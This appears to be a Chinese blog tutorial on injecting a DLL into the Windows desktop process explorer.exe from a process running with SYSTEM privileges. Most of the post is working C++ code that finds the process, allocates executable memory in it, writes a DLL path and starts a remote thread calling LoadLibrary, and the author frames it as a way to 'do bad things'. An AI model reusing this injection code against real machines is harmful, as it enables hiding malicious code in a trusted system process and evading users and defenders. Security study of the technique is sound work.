• 系统权限远程线程注入到Explorer.exe


    提升为系统权限,注入到explorer中

    一丶简介

    我们上一面说了系统服务拥有系统权限.并且拥有system权限.还尝试启动了一个进程.
    那么我们是不是可以做点坏事了.
    我们有一个系统权限进程.而调用 CreateRemoteThread可以创建远程线程,是否可以注入到我们桌面资源管理器当中那.
    答案是可以的.我也试过提权的方式注入.可惜都是拒绝访问.所以我提升为system权限(系统服务,创建的我们进程就是system权限)
    然后进行注入的.最后是可以注入的.
    我们资源管理器是64位的,所以我们的进程需要也是64.我们的DLL 也要64.当然网上很多32进程注入DLL到64位各种都很多.
    这里为了方便.直接 64进程+64DLL进行注入的.
    代码如下:

    void Cx64InjectProcessDlg::OnBnClickedOk()
    {
    
    	//AdjustPrivileges();
    	// TODO:  在此添加控件通知处理程序代码
    	HANDLE                   hProcessSnap = NULL;
    	BOOL                       bRet = FALSE;
    	PROCESSENTRY32   pe32 = { 0 };
    
    	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	if (hProcessSnap == INVALID_HANDLE_VALUE)
    		return;
    
    	pe32.dwSize = sizeof(PROCESSENTRY32);
    
    	if (Process32First(hProcessSnap, &pe32))
    	{
    		do
    		{
    			if (!wcscmp(_wcsupr(pe32.szExeFile), _wcsupr(TEXT("EXPLORER.EXE"))))
    			{
    				HANDLE   hProHandle =
    					OpenProcess(PROCESS_ALL_ACCESS,
    					FALSE, pe32.th32ProcessID);
    				//进行注入
    				if (NULL == hProHandle)
    				{
    					OutputDebugString(TEXT("权限失败"));
    					return;
    				}
    				LPVOID lpAddr = VirtualAllocEx(hProHandle, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    				if (NULL == lpAddr)
    				{
    					return;
    				}
    
    				TCHAR szBuf[MAX_PATH] = TEXT("x64Test.dll");
    				//GetCurrentDirectory(sizeof(szBuf), szBuf); //这三行代码主要是拼接我们的DLL,DLL是我们自己写的
    				//wcscat(szBuf, TEXT("x64Test.dll"));//DLL这里就不写了,用我的吧,我会发上去的
    				OutputDebugString(szBuf);
    				BOOL bRet = WriteProcessMemory(hProHandle, lpAddr, szBuf, wcslen(szBuf) + 2, NULL);
    				if (!bRet)
    				{
    
    					return;
    				}
    
    				HANDLE hThreadHandle = CreateRemoteThread(hProHandle,
    					NULL,
    					0,
    					(LPTHREAD_START_ROUTINE)LoadLibrary,
    					lpAddr,
    					0,
    					NULL);
    				if (!hThreadHandle)
    				{
    					OutputDebugString(TEXT("注入失败了"));
    					return;
    				}
    				OutputDebugString(TEXT("注入了"));
    
    				return;
    			}
    		} while (Process32Next(hProcessSnap, &pe32));
    		bRet = TRUE;
    	}
    	else
    		bRet = FALSE;
    
    	CloseHandle(hProcessSnap);
    	return  CDialogEx::OnOK();
    }
    

    二丶注入效果图

  • 相关阅读:
    链接<a href="javascript:void(0)" />
    JS 不定函数参数argument的用法
    java编译期常量
    对于代码设计的思考
    java交集retainAll 和 Sets.intersection 性能比较
    java 递归调整为队列
    前端跨域问题springboot
    guava的map中value转换问题和排序问题
    MAC安装 Office2016
    股市中的资金流入流出
  • 原文地址:https://www.cnblogs.com/iBinary/p/10801864.html
Copyright © 2020-2023  润新知